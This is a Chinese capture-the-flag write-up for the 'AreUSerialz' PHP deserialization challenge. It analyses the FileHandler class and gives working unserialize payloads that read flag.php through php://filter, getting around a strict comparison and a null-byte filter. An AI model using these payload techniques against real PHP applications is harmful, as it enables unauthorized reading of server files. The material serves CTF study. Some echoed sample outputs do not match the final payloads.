[网鼎杯 2020 青龙组]AreUSerialz

目录

一、题目分析

(1)构造函数

(2)process函数

(3)write函数

(4)read函数

(5)destruct函数

(6)is_vaild判断条件函数

(7)传参判断条件

二、解题

解法一:

解法二:


一、题目分析

点击页面查看源码,可以发现有一个类FileHandler,关键是类中的三个参数op,filename,$content,都是protected类型的

接下来仔细分析每个函数:

(1)构造函数

构造函数在类被创建时调用,这里将op初始化为字符1,并初始化filename和content,最后调用process函数。

php 复制代码
function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

(2)process函数

判断op的值,如果op=1调用write函数,如果$op=2调用read函数,并output读取到的内容。

注意这里的比较是弱比较 ,也就是说比较的时候会自动把等号两边的变量类型转换为一样,只要我们将op置为数字2,那么这里的第二个if中的弱等于就会返回true,从而执行read函数,并将结果输出

php 复制代码
public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

(3)write函数

写入函数,可以执行写入文件的操作,判断传入的内容content的长度是否大于100。

$res = file_put_contents($this->filename, $this->content);

filename表示要写入的文件,content表示要写入文件的内容。

php 复制代码
 private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

(4)read函数

read函数执行写的功能,通过file_get_contents函数读取想要读取的文件,值得注意的是,读取的内容并不会直接输出,要想查看输出的内容需要查看源码,或者使用filter协议来进行读取。

这里我们可以知道,题目提示有flag.php文件,我们可以利用read函数来进行读取flag.php文件的内容。

php 复制代码
private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

(5)destruct函数

在php中,destruct会在序列化的时候自动调用。

这里判断$op的值是否为字符2, 这里的比较为强比较类型,如果为字符2,就将op置为字符1,并将content置为空。

通过前面的分析我们知道,read函数是通过process函数来调用的,如果op被置为1,就不会调用read函数,于是我们要绕过,可以将令op等于数字2,这样在强比较下,$this->op === "2"是不成立的,实现绕过。

php 复制代码
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

(6)is_vaild判断条件函数

用于判断传入的字符串s的每一个字符的ascii码值,是不是都在[32,125]这个区间内,如果是则返回true,不是则返回false;

php 复制代码
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

查看ascii码表发现[32,125]这个区间内的都是可打印字符。

(7)传参判断条件

get方式传入str,判断str是否都是可打印的字符,如果是就将str反序列化。

看到这里我们已经有了解题的思路,即将序列化的内容传入str即可。

php 复制代码
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

二、解题

首先我们令op等于数字2,绕过destruct函数的的强比较。

在上面我们提到read函数当中的 file_get_contents不能直接显示read文件的内容,这里我们采用filter协议来读取文件内容。

php 复制代码
<?php

highlight_file(__FILE__);

class FileHandler {

    protected $op=2;

    protected $filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";

    protected $content;

}

$FileHandler = new FileHandler();

$test = serialize($FileHandler);

echo $test;

但是我们执行程序之后发现,输出的内容存在不可读的字符,即乱码字符。

这是因为我们的变量**op,filename,$content,都是protected类型的,输出的时候会在变量名前面加上%00*%00,我们所见到的不可打印字符就是%00,其ascii码值为0.**

如果将这串存在不可打印字符的字符串传入str参数,is_valid函数的返回值为0,从而就不会调用unserilize函数。

解法一:

将chr(0)以转化为\00*\00的方式输出,并将小写的s: 替换为大写的**S:**输出,利用大写S采用的16进制,来绕过is_valid中对空字节的检查。

php 复制代码
<?php

highlight_file(__FILE__);

class FileHandler
{

    protected $op=2;
    protected $filename="php://filter/convert.base64-encode/resource=flag.php";
    protected $content;


}

$a=new FileHandler();
$b=serialize($a);
$b = str_replace(chr(0), '\00', $b);
$b = str_replace('s:','S:', $b);
echo $b;

#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

得到的payload

php 复制代码
?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:52:"php://filter/convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

可以看到flag.php以base64的方式读取出来了,解密即可得到flag

解法二:

php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可.

php 复制代码
<?php

highlight_file(__FILE__);

class FileHandler
{

    public $op=2;
    public $filename="php://filter/convert.base64-encode/resource=flag.php";
    public $content;


}

$a=new FileHandler();
$b=serialize($a);
#$b = str_replace(chr(0), '\00', $b);
#$b = str_replace('s:','S:', $b);
echo $b;

#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

构造payload:

php 复制代码
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}

就写到这里啦,喜欢的话给我点个赞吧!!!

相关推荐
ServBay12 小时前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户9623779544814 小时前
CTF 伪协议
php
BingoGo3 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack3 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo4 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack4 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack5 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo5 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack6 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理6 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php